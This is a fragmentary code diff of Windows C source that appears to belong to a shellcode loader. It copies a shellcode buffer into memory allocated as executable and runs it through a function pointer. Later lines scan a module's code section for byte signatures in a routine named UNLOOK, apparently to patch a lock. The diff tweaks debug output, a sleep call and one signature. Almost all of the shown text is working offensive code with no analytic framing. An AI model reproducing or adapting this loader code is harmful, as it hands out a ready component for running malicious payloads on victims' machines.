| skipped 12 lines |
| 13 | 13 | | LPVOID shellcode = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, 0x40); |
| 14 | 14 | | |
| 15 | 15 | | memcpy(shellcode, buf, sizeof(buf)); |
| 16 | | - | printf("%x \n", shellcode); |
| | 16 | + | |
| 17 | 17 | | void(*func)(); |
| 18 | 18 | | func = (void(*)())shellcode; |
| 19 | 19 | | func(); |
| skipped 216 lines |
| 236 | 236 | | unsigned char win7_lock_count_flag[] = {0xF0, 0x44, 0x0F, 0xB1, 0x35}; |
| 237 | 237 | | #else |
| 238 | 238 | | unsigned char lock_count_flag[] = {0x66, 0x21, 0x88, 0xCA, 0x0F, 0x00, 0x00, 0xE8}; |
| 239 | | - | unsigned char win7_lock_count_flag[] = {0xC7, 0x45, 0xFC, 0xFE, 0xFF, 0xFF, 0xFF, 0xBB}; |
| | 239 | + | unsigned char win7_lock_count_flag[] = {0xC7, 0x45, 0xFC, 0xFE, 0xFF, 0xFF, 0xFF, 0xBB, 0xFF, 0xFF, 0xFF, 0xFF, 0x8B, 0x75, 0xD8}; |
| 240 | 240 | | #endif |
| 241 | 241 | | |
| 242 | 242 | | VOID UNLOOK() |
| skipped 46 lines |
| 289 | 289 | | } |
| 290 | 290 | | |
| 291 | 291 | | addr = memFind(textData, win7_lock_count_flag, (size_t)textData + rdataLength, sizeof(win7_lock_count_flag)); |
| 292 | | - | Sleep(1); |
| 293 | 292 | | if (addr != 0) |
| 294 | 293 | | { |
| 295 | 294 | | #ifdef _WIN64 |
| skipped 20 lines |
